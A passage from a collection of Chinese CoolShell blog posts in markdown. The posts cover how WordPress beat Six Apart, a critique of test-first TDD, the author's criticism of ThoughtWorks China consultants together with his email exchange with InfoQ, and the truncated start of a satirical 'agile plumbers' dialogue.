Type和TypePad用户向他透露到有来自Automattic的员式打电话给他们让他们切换到WordPress上，如果这样的人每人给他一美金，他会相当的富有。Automattic用尽一切办法和手段让用户切换到WordPress上，他们甚至给这些用户免费提供主机服务，还分配一个工程师给用户帮他们迁移系统。而当有用户迁移了，他们则制造一个成功的案例来鼓动别的用户。\n\n\n**八、Six Apart 收购 Apperceptive**\n\n\nSix Apart收购Apperceptive并没有错，而且还有很不错的利润增涨。问题是，收购以后，Six Apart从其社区中雇佣了很多很聪明的也有创造性的人到他的公司里。然后这些人加入后，其吞食了本来Six Apart以专业注称的服务。更糟糕的是，这个做法等于削弱了其社区的力量，社区里缺少领袖级的人物，于是只有Six Apart在战斗。\n\n\n**九、Six Apart 自己的失败**\n\n\n作者归结为一点：Six Apart严重地阻碍了自己的竞争力，因为其把自己的精力分布在了很多产品上。简而言之一句话——没有专注。如果Six Apart专注地做一个事，比如就做TypePad 或是 Movable Type，那么，今天的情况可能会很不一样。虽然，WordPress还是无可质疑地会成为最流行的Blog，但是他依然会面对着强大的对手，双方需要不停地在创新和技术上比拼。\n\n\n最后，作者说，目前这个世界上有WordPress, Drupal, Expression Engine, Movable Type, Simple CMS, TypePad, Twitter, Instagram, Tumblr,或是其它东西。作者让大家扪心自问——“是否WordPress是最好的产品？”作者依然认为 Movable Type 是最好的产品。其今天还是成为了很多商业公司的首选。\n\n\n——————————\n\n\n我个人觉得Blog的用户群其实对Blog的需求其实并不多，只需要可以发布文章，有评论，可以在边栏上添加一些小饰件，可以改变一下样式，最好自己的文章有人帮着做做推广什么的，基本上就是这个样子。所以，像新浪，搜狐这样提供商其实更好。更多的用户是不会去搭建自己的专有的blog的。所以，能自己搭建自己的blog的这群人，还是以技术人员偏多，而WordPress正好满足了技术人员的胃口。（老实说，WordPress的后台操作对于非技术人员的电脑用户来说还是很不够友好——太复杂，性能上好像也不是很好，插件多是多，但好的插件就那么几个）\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/1387.html)[十个Web开发文章和教程](https://coolshell.cn/articles/1387.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg](https://coolshell.cn/articles/914.html)[6个变态的C语言Hello World程序](https://coolshell.cn/articles/914.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg](https://coolshell.cn/articles/2078.html)[如何防范密码被破解](https://coolshell.cn/articles/2078.html)\n* [![50套Web开发图标](../wp-content/uploads/2009/03/webicon3-150x150.png)](https://coolshell.cn/articles/3.html)[50套Web开发图标](https://coolshell.cn/articles/3.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg](https://coolshell.cn/articles/294.html)[OSGi和Java企业级运算的未来方向](https://coolshell.cn/articles/294.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/1824.html)[C语言和sh脚本的杂交代码](https://coolshell.cn/articles/1824.html)\nThe post [WordPress是怎么赢的？](https://coolshell.cn/articles/3716.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-2-24 [转]TDD到底美还是不美？.md",
    "content": "---\nlayout: post\ntitle: [转]TDD到底美还是不美？\ndate: 2011/2/24/ 7:41:24\nupdated: 2011/2/24/ 7:41:24\nstatus: publish\npublished: true\ntype: post\n---\n\n\n\n \n\n\n**下面的文章转自Todd Wei 的《[TDD到底美还是不美？](http://www.cnblogs.com/weidagang2046/archive/2011/02/23/1963277.html)》，对于这篇文章，我个人能过透过作者的观点感受到他的项目中使用TDD的难点，同样可以感受到作者内心的纠结。不管怎么样，我能够感到作者Todd Wei在独立思考，独立思考总是好的，因为那是走向成熟的必要条件。(另，大家可以移步过去看看相关的评论，挺有意思的)**\n\n\n————————————————————————————————————\n\n\n最近CoolShell上的一篇[《TDD并不是看上去的那么美》](https://coolshell.cn/articles/3649.html \"TDD并不是看上去的那么美\")引起了敏捷社区的高度关注和激励辩论。今天，InfoQ甚至专门举行了一个“虚拟座谈会”[《TDD有多美？》](http://www.infoq.com/cn/articles/virtual-panel-tdd \"《TDD有多美》\")，几位国内敏捷社区的名人专门就此问题展开了深入地讨论。不论结果如何，这个纯技术的探讨精神还是非常值得赞赏的。事件实际上可以简单地归纳为“一个有一定影响力的开发人员质疑TDD，一群敏捷社区名人对TDD进行解释和辩护”。现在，就让我坚定地站在CoolShell一边，为对TDD的质疑和批判添砖加瓦吧！\n\n\n\nTDD的核心理念是什么呢？第一是Specification by Example，即把测试用例作为表达需求的一种方式。传统的需求表达方式包括文档，Use Case等，而TDD强调通过测试用例来表达需求。另外，TDD的测试用例是黑盒的基于外部接口的，所以，它实际上又是对外部接口的设计。如何看待测试用例是TDD与传统测试的一个重要区别。“不把测试用例单纯地视为测试，而从需求和设计的角度来看测试用例”的理念本身是好的。另外，TDD的第二个理念是Test First，强调测试对于实现的驱动作用，先写测试用例，再实现和重构。在Specification by Example的理念下，Test First的实质是“先理解清楚需求，并做好外部接口设计，把它转化为测试用例，然后再来实现和重构”。 \n\n\n我认为，Specification by Example是不错的，因为测试用例作具有精确性，容易自动化的优点，这是传统的文档和Use Case在表达需求时所欠缺的地方。但**Test First理念本身则有很大的问题**，尤其“在没有测试用例失败之前，不要写任何一行代码”的极端方式则更是极端的错误。  \n\n\n\n\n如果测试用例是需求和设计，那么为什么不能先写出测试用例（即理解清楚需求做好外部接口设计）再来实现呢？这不是我们最熟悉的先需求再设计再编码吗？答案是：**不能执行的测试用例（Test First）和能执行的测试用例有着天壤之别**。不能执行的测试用例和写在纸上的文档相比对实现的指导意义不见得能好到哪里去！除非是一些很简单的情况下，在实际的软件开发中，你很难在没有执行测试用例的情况下写出真正符合最终需求的测试用例来。比如：你做一个页面，页面的效果需求和设计通常会在真正可以运行之后不断调整。如果片面强调测试对实现的驱动作用，那么实际上隐含了“需求可以在实现之前固定下来”的假设，这是非常不敏捷的和不现实的！我认为要做到真正的敏捷必须承认**“需求无法在用户真正能运行看到效果之前明确下来“**。由此可见，Test First和瀑布式思想没有区别，都强调需求先于实现，而忽略了软件需求的产生是一个在实际运行中不断调整探索完善的过程。TDD无非是把需求分析的结果用测试用例表达，替代传统用文档表达需求，但从宏观上看，TDD和瀑布比是换汤不换药。除了简单情况，不存在脱离实现的需求，你能够在明确了需求之后就实现出一套linux系统吗？既然你根本无法实现一套linux系统，那么这样所谓的需求又有多大的意义呢？所以，能提出什么样的需求不能脱离你的实现能力。**需求和实现之间不是简单的谁驱动谁，而是一种相互反馈的关系**，这与需求用什么方式表达没有关系。到目前为主，我推崇的方式是快速实现，在实际运行中体验效果，不断优化探索和明确需求，当需求达到一个比较稳定的程度才编写测试用例将需求固化下来。\n\n\n\n上面的论述主要针对贴近用户的外部需求（如ATDD），下面我会进一步解释即使是在内部的单元测试级别TDD仍然有问题。我们还是首先从需求入手，思考一下单元的需求是哪里来的呢？答案是：需求来自于设计， 也就是说高层模块的内部设计产生了低层模块的需求。而这种内部设计具有很大的不稳定性，带有很多假设的成分，在没有进行集成测试的情况下，很难讲这种内部设计是否合理。实际项目开发通常会在集成运行之后不断调整内部的设计，即影响单元的需求。那么，如果是按测试驱动，首先按不成熟的内部设计把一个个单元需求编写成单元测试再来实现，实际上大大推迟了能进行集成测试的时间， 对于真正快速弄清需求稳定设计反而是不利的。假设最终还是所有单元都完成，然后开始运行集成或验收测试，这时候有两种可能：1.用户看到实际效果，决定调整需求；2.发现未集成前的很多假设不成立。不论是哪一种情况发生，以前所写的单元测试都面临着被废弃或必须修改的命运。实际上，多数与业务相关的单元测试用例比起集成或验收测试用例更加不稳定，因为它会受到所有其上层模块的需求和设计变动的影响。由于我们在不稳定的单元测试上浪费了大量的时间（按我的经验编写单元测试比编写实现更耗时），这就导致了迟迟无法进行集成看到实际效果，也没有办法敏捷地应对需求的调整。也就是说具有讽刺意味的，**Test First理念居然是和敏捷理念矛盾的！**\n\n\n所以，我认为TDD的理念Specification by Example没错，但Test First即“在实现之前把需求和外部接口设计转化成测试用例”的理念错了。真正符合实际开发情况的理念是“需求是在实际运行过程中根据效果不断探索调整得来的，不可能脱离实际运行写出真正符合最终需求的测试用例来”。所以，**我们真正应该做的是尽快看到实际运行的效果**，而测试作为固化的需求和设计是在看到效果之后。**过度的TDD只会导致迟迟看不到实际运行效果，看到效果需要调整需求又会废掉或改掉一大堆的测试用例。**实际上，越是外部的需求其变更带来的影响和代价越大，越是需要尽早明确。从宏观上看，**TDD所谓的快速反馈实际上是加快内部反馈，延迟了外部反馈，这无异于本末倒置**。而大量需要修改或作废的测试用例其实是一种很大的浪费，这和消除浪费的精益思想也是矛盾的！\n\n\n\n \n\n\nhttp://images.cnblogs.com/cnblogs_com/weidagang2046/feedback_cycle.jpg\n\n\n上面这幅cost/length\\_of\\_feedback\\_cycle图是我们常见的用于说明敏捷方法比传统方法具有更短的反馈周期，更小代价的应对变化。从图中我们可以清晰的看到在验收测试中发现的需求错误导致的代价是最高的。如果验收测试往后推迟一点，发现错误的代价将按非线性地增长。上面我们已经论述了，任何方法都不可能消除验收测试后对需求的调整，因为这是需求产生的正常过程。我们唯一可以做的是尽可能地缩短验收测试的反馈周期，但是很不幸TDD大量的内部测试只会导致推迟验收测试的时间，从而大大增加代价。  \n\n\n\n\n\n下面这段话来自于InfoQ文章[《Mock不是测试的银弹》](http://www.infoq.com/cn/articles/thoughtworks-practice-partvi \"《Mock不是测试的银弹》\")：“在使用JMock框架后测试编写起来更容易，运行速度更快，也更稳定，然而出乎意料的是产品质量并没有如我们所预期的随着不断添加 的测试而变得愈加健壮，虽然产品代码的单元测试覆盖率超过了80%，然而在发布前进行全面测试时，常常发现严重的功能缺陷而不得不一轮轮的修复缺陷、回归 测试。为什么编写了大量的测试还会频繁出现这些问题呢？ ”这描述的情况和我在实践中遇到的情况类似，不过很可惜文章并没有找到问题真正的原因。真正的原因不是什么Mock不Mock，而是TDD的单元测试是基于开发人员的假设，这些假设的测试即使全部通过代码覆盖率100%，到了集成测试发现假设根本不成立又怎能保证高质量？\n\n当然，我不是全盘否定TDD。TDD在某些需求特别固定的场合是适用的，尤其是与具体业务关系不大的需求，比如：写一个通用的数据结构，实现一个通用算法。TDD的先关注需求和思考外部接口设计的理念也对促进开发人员的抽象思维有很大益处。另外，TDD通常也具有较高的代码覆盖率。本文的主要观点在于：实际项目中，不要期望可以在实现之前完全明确需求，需求是在实际运行看到效果之后才逐步明确的；我们的开发过程必须能够敏捷地适应需求的变化，而TDD的Test First理念恰好与之矛盾。所以，对于TDD不了解的朋友，我建议应该学习和实践TDD，从而获得其益处；同时我也提醒TDD存在理论上的缺陷，这是在实践中需要特别留意的。\n\n\n(全文完)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![“单元测试要做多细？”](../wp-content/uploads/2012/09/fight-150x150.jpg)](https://coolshell.cn/articles/8209.html)[“单元测试要做多细？”](https://coolshell.cn/articles/8209.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/5531.html)[Test-Driven Development？别逗了](https://coolshell.cn/articles/5531.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/5143.html)[在新浪微博上关于敏捷的一些讨论](https://coolshell.cn/articles/5143.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/4891.html)[Bob大叔和Jim Coplien对TDD的论战](https://coolshell.cn/articles/4891.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/3778.html)[敏捷水管工](https://coolshell.cn/articles/3778.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg](https://coolshell.cn/articles/3745.html)[再谈敏捷和ThoughtWorks中国咨询师](https://coolshell.cn/articles/3745.html)\nThe post [[转]TDD到底美还是不美？](https://coolshell.cn/articles/3766.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-2-24 再谈敏捷和ThoughtWorks中国咨询师.md",
    "content": "---\nlayout: post\ntitle: 再谈敏捷和ThoughtWorks中国咨询师\ndate: 2011/2/24/ 10:23:26\nupdated: 2011/2/24/ 10:23:26\nstatus: publish\npublished: true\ntype: post\n---\n\n\n#### 前言说明\n\n\n之所以用了“再”，是因为之前的两篇文章——\n\n\n* 我在《[那些炒作过度的技术和概念](https://coolshell.cn/articles/3609.html \"那些炒作过度的技术和概念\")》中批评了ThoughtWorks中国咨询师的咨询方法是以一种接近于教条、炒作、洗脑和电视购物的方法（虽然我心底觉得有时候有时候更像传销），当然，批评是没有意义的，所以我也给了中国ThoughtWorks那些年轻的咨询师们一些我认为有建设性的建议。\n\n\n* 我在《[TDD并不是看上去的那么美](https://coolshell.cn/articles/3649.html \"TDD并不是看上去的那么美\")》一文中列举了一些在实际中使用TDD可能会出现的问题和难题，以此来告诉大家在使用TDD时需要注意的东西。就像是在《[结对编程的利与弊](https://coolshell.cn/articles/16.html)》说的一样，只有真正知道一件事情的利弊，你才能用好它。\n\n\n当然，这两篇文章都不可避免得招来了ThoughtWorks咨询师和Agile信仰者们的很多回复，我也有开始沉不住气回复了很多，当然，有一半以上的不是学术上的讨论，而是对我个人的攻击。甚至，在这两篇文章发布后，酷壳（CoolShell.cn）受到[持续性的黑客攻击](https://coolshell.cn/articles/3686.html)。\n\n\n本来已经过去的事，今天却又发现这两篇文章的访问量和评论又上来了，才发现原来是InfoQ的这篇文章——《[虚拟座谈会：TDD有多美？](http://www.infoq.com/cn/articles/virtual-panel-tdd)》，加上很多我在评论中的观点，以及ThoughtWorks和InfoQ之前给我的来信中谈到的一些观点。我很不自然地想把我的一些观点总结并罗列在这里。主要分成四块—— 1）**我对整个事情的基本观点**，2）**对于方法论的观点，3）对于TW中国咨询师的观点**，4）**还有和TW和InfoQ住来信件中的观点****。**\n\n\n**————————————————**\n\n\n#### 基本观点\n\n\n首先，我想说明一下我的基本观点。\n\n\n\n一、**真金不怕火炼**。我就像大家一样，平时总是会或多或少的埋怨点什么。大街上有人随便做个事，你会和他较真吗？不会。这个事也一样，我就像大家茶余饭后批评房价和物价一样，你们没有必要那么较真，不值得这样小题大作（除非你们真的心虚了），如果你做得好的话，真金不怕火炼，我这点批评算得了什么。**你们玩的是“敏捷”不是“敏感”**。\n\n\n二、**从正反面思考**。我和大家一样，喜欢思考，喜欢从正面和反面一同思考问题，我有质疑的癖好，我希望大家都有这样的思考方式。注意，**质疑的结果不是为了质疑而质疑，而是去寻找完整认识的一种方法**。\n\n\n三、**观点的自由**。我不是一棍大打死一片的人，我不完全否定敏捷（我的那两篇文章都有一再说明过了），同时我也不会完全同意敏捷。我不会因为敏捷有不好的地方我一棍子打死，我同样不会因为敏捷的好处就大唱赞歌。任何事物都有好有坏，我寻求的是自由地发表我的观点。**我反对观点的极端，但我追求观点的自由**。\n\n\n**四、观点的不同。**观点只有不同才会让人思路完整，观点只有不同才会迸发出火花，世界的进展正是因为有不同的观点。如果敏捷的咨询师和信仰者们不接受不同观点，不接受批评，那么你们将无法进步和发展，如果你们妄图让所有人都持认可敏捷的和谐观点，那么你们将会变得邪恶。**没有批评，赞美也会变得没有意义**。\n\n\n**————————————————**\n\n\n#### 对于敏捷方法论的观点\n\n\n一、**没有好的方法，只有适不适合的方法**。正如没有好的设计，只有适不适合的设计一样。喜欢足球的朋友都知道，世界级的足球队中，巴西队玩的是个人艺术足球，德国队玩的是整体和纪律性足球，意大利玩的是防守型足球，但是他们都有夺世界杯冠军的实力，如果你硬要让巴西队去整意大利的风格，或是让德国整巴西的风格，那就悲剧了。**敏捷是不会是适合所有人所有项目的，就像不是所有的人都有运动的天赋一样**。\n\n\n二、**软件开发的中心是人和项目，而不是方法**。千万不要把方法放在中心，改变项目的性质和人的习惯去适应这个方法。正确的方法是，以人和项目为中心，了解项目中所有人的想法和做事的风格，以及项目的性质，从而决定采用什么样的方法。大家可以看看[InfoQ上那几个“专家”关于TDD的对话](http://www.infoq.com/cn/articles/virtual-panel-tdd)，除了Google的测试经理外，其它人从到到尾谈的都是TDD方法，谈的都是如果要TDD，人应该怎么怎么样。**这就是敏捷最大的问题——教条主义横行，以方法论为中心横行**。我批判的就是这个！\n\n\n三、**好的方法不是讲出来的，而是在实践中改善出来的**。好的方法不用去讲出来的，而是从团队内部自发出来的。如果敏捷方法论很不错的话，那么应该会在现实中体现出来。**真正好的方法是团队内部根据自身情况在不同的项目上使用的不同的方法**。（注：请不要使用XUnit, Spring，ANT等程序框架举例，因为那些项目的用户是程序员）\n\n\n四，**方法论不是一种理论**。敏捷的鼓吹者说，TDD让你更关注设计，TDD更能了解需求。理论上，你可以把TDD拔到这样的高度，甚至更高的高度。可是具体实践上呢，你会发现在有压力的状态下你的程序员关注得更多的是测试过不过，在和用户沟通的时候，你会发现，根本没有一种好的方法论可以把需求完全搞清。如果TDD可以完全搞清需求，还要迭代干什么，直接waterfall了（其它关于TDD的观点请看我的文章《[TDD并不是看上去的那么美](https://coolshell.cn/articles/3649.html \"TDD并不是看上去的那么美\")》）理论和实际的差别的很大的。\n\n\n**————————————————**\n\n\n#### **对于ThoughtWorks咨询师的批评观点**\n\n\n对于 下面这些言论，我就不一一点名了，因为我觉得这和咨询师没有关系，这和TW中国公司的管理理念有关系。\n\n\n* 中国ThoughtWorks某些咨询师通常在加入公司很短的时间内（1-2年），基本上都以被冠以“高级咨询师”。1-2年能做几个项目？我以为能给人做咨询的人都是在技能上让人佩服的那种人。20出头还是埋头苦干，努力学习，积累经验的时候，经验都不够，就可以给人咨询。\n\n\n* 中国ThoughtWorks某些咨询师们，喜欢翻译国外的书，但从不自己写书，他们喜欢blog，他们的blog里都里大量的Agile的方法，而很少有对技术的见解，以及技术细节知识性的文章，在他们的blog中，你很难看见代码。\n\n\n* 中国ThoughtWorks的咨询师们，喜欢参加各种研讨会，以及各种论坛，媒体采访。看看[这篇文章](http://www.infoq.com/cn/articles/sofware-outsourcing-eco-crisis-3)，空洞，空洞，还是空洞。\n\n\n* 中国ThoughtWorks某些咨询师们大多都比较敏感，都是坚定不移的敏捷信徒。你别说有不同观点了，你就问个有点疑问的问题，他们就敏感了，就要反驳或是教育你了。\n\n\n* 中国ThoughtWorks某些咨询师们大多都很能说，和他们在一起，你基本上说不上话，就算说得上，他们也不会听你的，而且在不停地说教。大多数时候，他们都有很多的神一般的理论，比如：“你这不是真正的敏捷，真正的敏捷不是这样的”，“TDD中的T，是什么测试都无所谓。它就是设计。”，“TDD更强调设计，而不是测试本身。所以，TDD并不适用于菜鸟程序员。”，“你是在用锤子拔钉子”，“敏捷不需要文档，代码不需要注释”，“能学会的人他不需要看这些文字，不能学会的人他看了也是白看”，“它不是对不对的问题，它是可笑的”，“要使用一种设计方法，你就必须（1）会做设计；（2）做设计。它难在有些项目不做设计，有些人不会做设计”……\n\n\n大家可以看看[InfoQ的这个针对本章文章的讨论](http://www.infoq.com/cn/articles/virtual-panel-tdd)，注意熊节同学的观点，他是在谈TDD呢，还是在说我呢？可见他是带着目的来参加这个讨论会的。但是大家有多少人看明白了他在说什么？他除了敏感，除了那些“神一般的观点”，你真的实在不知道他在说什么，你是不是和我一样，对他的发言感到很空洞呢？（熊节同学可能以为InfoQ把我邀请去了，其实我没有去。大家可以去看看，**那不是讨论，那是一群TDD的信徒们在自己炒作自己呢**）\n\n\n我不厌其烦地再给咨询师们提那个建议——**咨询师就像裁缝，不是只为设计时装的设计师，你们做的是量体裁衣的活儿。对于不同的身材，不同的体质，要用不同的财料和尺寸; 对于不同的性格，将会是不同的风格; 对于不同的场景，也将会是不同的服装，游泳和出席宴会是两种不同的服装。服装的好坏不是服装本身漂亮不漂亮，而是合不合身，搭配地好不好，适不适合相应的场景，着衣的人感觉到的是不是舒服**。\n\n\n——————————————\n\n\n#### 关于ThoughtWorks和InfoQ给我的信\n\n\n文章写得太长了，大家见笑了，也见谅！这是最后一段了。\n\n\n1） TW的王效珅在春节前和我有几次电子邮件的往。我觉得王效珅是个很出色的公关人员，她用硬朗来形容我，把我一下子形容老了几十岁。她希望和我做沟通，希望让我和TW的咨询师谈一谈，我没有答应，也没有拒绝。春节期间还给我打来了电话祝我春节快乐，真是太让我感动了。她尊称我老师，可是我并不买帐，因为我觉得我没有资格成为老师，我也建议她也不要随便叫人老师。下面，是我给她的回信中的观点。\n\n\n在谈到如何管理项目时，我这样回复她的\n\n\n\n> 你可以理解成——你们就像是黄埔军校，西点军校出来的高材生，而我就则是一个天天在各种战场上摸爬滚打并被打得灰头土脸的土贼。我不相信流程和各种Best Practice，我只相信的是人。\n> \n> \n> 我最关心的是软件开发中的三件事，第一个是人，第二个还是人，第三个还是人。第一个人是实现项目的人，第二个是项目的所有人，第三个是项目外周边有关系的人。我不但关心他们的想法，他们的软/硬能力，我还更关心他们的风格，他们的性格，还有他们的成长经历。这样我才能在权衡项目中那些各种乱七八糟东西的时候，懂得怎么plan，怎么run，怎么communication，怎么manage 才会是真正有效的（效果+效率）。motivate和项目有关的每个人，这才是我心中的敏捷！（这其中是需要花大量的心血的，相当的影响寿命）\n> \n> \n\n\n在谈到是否见面时，我是这样回复她的\n\n\n\n> \n> * 其一，在网上，不只是我的言论对TW有微辞，需要我们每一个人每一个公司树立一个好的心态就好了（网上骂我的也很多，我自以为我的心情还不错）。\n> \n> * 其二，如果做的好，那就经得住考验，经得住质疑，好的东西一定会有好的结果，有了结果，拿结果和事实说话，这是最好的方式。\n> \n> * 其三，你说的那位技术上的同事，据你说是对我很欣赏，也常看酷壳，那么以前应该交流过才对啊，不应该是我质疑了你们的时候。呵呵。\n> \n> * 其四，我绝对不是一棍子打死一片的人（我原文中也多次提过Agile中有一些提法是不错的），但是我也不是看到一个好的就大唱颂歌的人。\n> \n> \n\n\n\n2）关于InfoQ张凯峰主编的来信，原文如下：\n\n\n\n>   \n> \n> From: xxxxx@infoq.com  \n> \n> Date: Tue, 15 Feb 2011 20:24:27 +0800  \n> \n> Subject: 邀请参加TDD虚拟座谈会的讨论  \n> \n> To: haoel@hotmail.com  \n> \n> \n> \n> \n> 陈皓你好，\n> \n> \n> 我是InfoQ中文站的主编张凯峰。最近你的《TDD并不是看上去的那么美》一文引起的广泛的关注，我们想就此做一次虚拟的座谈会讨论，邀请你来参与一下关于TDD的讨论。邀请的专家还包括thoughtworks的咨询师，以及其他敏捷方面的专家。以给读者更加广泛的视角和分享。欢迎参加，谢谢。\n> \n> \n> 以下是问题，可以把每个问题的答案发回给我。截止时间是两天。任何问题，请与我沟通，谢谢。\n> \n> \n> 请介绍你自己，以及TDD的实践经验。  \n> \n> TDD跟Test是什么关系呢？TDD的T就是Unit Test吗？  \n> \n> 你认为实施TDD需要怎样的前提条件？TDD难在哪儿？  \n> \n> TDD之于需求、设计、代码质量是怎样的关系和影响？  \n> \n> 你认为实施TDD容易犯的错误是什么？TDD的不足在哪些方面？  \n> \n> 一般开发者需要多久能掌握TDD呢？请向读者推荐一下TDD的学习资料吧。\n> \n> \n> Thanks,\n> \n> \n> —  \n> \n> 张凯峰 | Kevin Zhang | InfoQ China Managing Editor  \n> \n> InfoQ China：http://www.infoq.com/cn\n> \n> \n\n\n我的回复如下（我老婆 说我回复得太贫了，我接受！）\n\n\n\n> From: haoel@hotmail.com  \n> \n> To: xxxxx@infoq.com  \n> \n> Subject: RE: 邀请参加TDD虚拟座谈会的讨论  \n> \n> Date: Tue, 15 Feb 2011 21:45:51 +0800\n> \n> \n> 张凯峰主编，您好！\n> \n> \n> 谢谢你们关注我的文章，见笑了。\n> \n> \n> 你们真是很厉害，相当善于发掘热点新闻。果然是媒体的专业素质。;-)\n> \n> \n> 我的文章不应该有那么大的能量，一个根本没有推广的个人blog，随便发布一些自己的想法，不是自我炒作，自己的blog嘛，想啥说啥，就像大街上的阿猫阿狗一样随便发表点个人意见，不会有人在意的。哪能引得您们的关注。真是让我受宠若惊。\n> \n> \n> 另外，你问到的那些问题，绝大多数的答案都在我的那篇文章里了。如果你们想转载我的文章，转过去就是了，只要注明作者和出处就OK了。千万不要用于任何的商业目的和炒作，这样我会很不高兴的。\n> \n> \n> 所以，我还是谢绝这个讨论了。如果你真想找人讨论的话，执我这样观点的人并不在少数，Google一下，可以找到很多。尤其是国外的，有些作者和我一样，都是做了十几年的项目的，都是做大大小小也有20来个项目的，各种人，各种事，各种项目都经历过很多，找那些人岂不更好？\n> \n> \n> P.S，您的邮件还真强势，在“谢谢”和“谢谢”中就直接让我回答这些问题，还只限两天时间。真是个大主编，让我学到了“谢谢”的另一种用法。谢谢！\n> \n> \n> 祝 工作顺利！  \n> \n> 陈皓\n> \n> \n\n\n**我的观点就是我的观点，无论你同不同意，喜不喜欢，都是我的观点，**\n\n\n**他就在那里，不卑不亢，不多不少**\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![“单元测试要做多细？”](../wp-content/uploads/2012/09/fight-150x150.jpg)](https://coolshell.cn/articles/8209.html)[“单元测试要做多细？”](https://coolshell.cn/articles/8209.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/5531.html)[Test-Driven Development？别逗了](https://coolshell.cn/articles/5531.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/5143.html)[在新浪微博上关于敏捷的一些讨论](https://coolshell.cn/articles/5143.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/4891.html)[Bob大叔和Jim Coplien对TDD的论战](https://coolshell.cn/articles/4891.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/3778.html)[敏捷水管工](https://coolshell.cn/articles/3778.html)\n* [![[转]TDD到底美还是不美？](https://coolshell.cn/wp-content/uploads/2011/02/feedback_cycle-150x150.jpg)](https://coolshell.cn/articles/3766.html)[[转]TDD到底美还是不美？](https://coolshell.cn/articles/3766.html)\nThe post [再谈敏捷和ThoughtWorks中国咨询师](https://coolshell.cn/articles/3745.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-2-25 敏捷水管工.md",
    "content": "---\nlayout: post\ntitle: 敏捷水管工\ndate: 2011/2/25/ 0:39:44\nupdated: 2011/2/25/ 0:39:44\nstatus: publish\npublished: true\ntype: post\n---\n\n本文来自Terazen Technology Inc的创始人+CTO的 [David Ing](http://ca.linkedin.com/in/davidjing)的《[Agile Plumbers](http://david.ing.name/2010/12/24/agile-plumbers/)》（这也墙？），我的其文中的这个帮事翻译过来（和前些天发的[SOAP的S是Simple](https://coolshell.cn/articles/3585.html \"SOAP的S是Simple\")异曲同工）。\n\n\n也许你会觉得这个比喻不恰当。但我想告诉你的是，这个故事告诉我们，教条主义和以方法论为中心的危险。[十条不错的编程观点](https://coolshell.cn/articles/2424.html \"十条不错的编程观点\")中第一条—— **The only “best practice” you should be using all the time is “Use Your Brain”.**\n\n\n————————————————————\n\n\n(门铃响……)\n\n\n**事主：**啊, Agile 水管工吗？ 请进，感谢谢你们这么快就来了——这的确很紧急，我这真是很乱。\n\n\n**水管工1**: 先生，没问题，我们就是敏捷的。在我给你做Presentation前，我先给你介绍一下我的两个同事。\n\n\n**事主**：Presentation？啊，我们有时间吗？这的水已经流得到处都是了……\n\n\n**水管工1**：……先生，我们必需坚持这个。我们只是想保证你能成为动态搜寻解决方法的一份子。你是我们的 champion sponsor，也就是我们团队内的 consultant！你可以提供一个白板给我们使用吗？\n\n\n**事主**：我没听懂，你们不觉得这变复杂了吗？我觉得我应该告诉你们这水是从房子哪儿流出来的，就是那……\n\n\n**水管工2**：你这有让我脱衣服的地儿吗？\n\n\n**事主**：什么？\n\n\n\n**水管工2**：我要坐在你的浴盆里——我还需要肥皂和托鞋。因为我们运作的方法是“测试驱动”， Red, Green, Red。你可以看到我们是怎么驱动的……\n\n\n**事主**：为什么你会需要这样做？水都从楼梯上流下来了，水管爆裂了，马桶堵了，你能现在就开始吗？\n\n\n**水管工3**：非常不错的feedback——感谢你！你介意先填一下这些 3×5 的卡片吗？我希望你能使用名词，让我们迭代一下刚才你说的“水灾……\n\n\n**水管工1**：别那么着急，Domain Model 可以等的，让我们现在先生成一些想法——我们应该先把所有的业务需求都写出来，然后调查其动机。先生，是不是所有的功能都是 “关键业务’”？你能先给马桶评个等级吗？另外，如果你有100美金……\n\n\n**事主**：你在开玩笑吗？你看，如果你们不能干这个，那么我就……\n\n\n**水管工2**：我去拿个扳手。\n\n\n**事主**：好！终于！等等，你就拿来一个扳手？可是你们有三个人哦。\n\n\n**水管工**1：不这样的，先生！我还是在这里做个初始的Presentation，我一会就走了。但是，我还是会对项目的进度非常感兴趣的。我会打电话过来参加明天的 stand-up meeting。\n\n\n**水管工2** 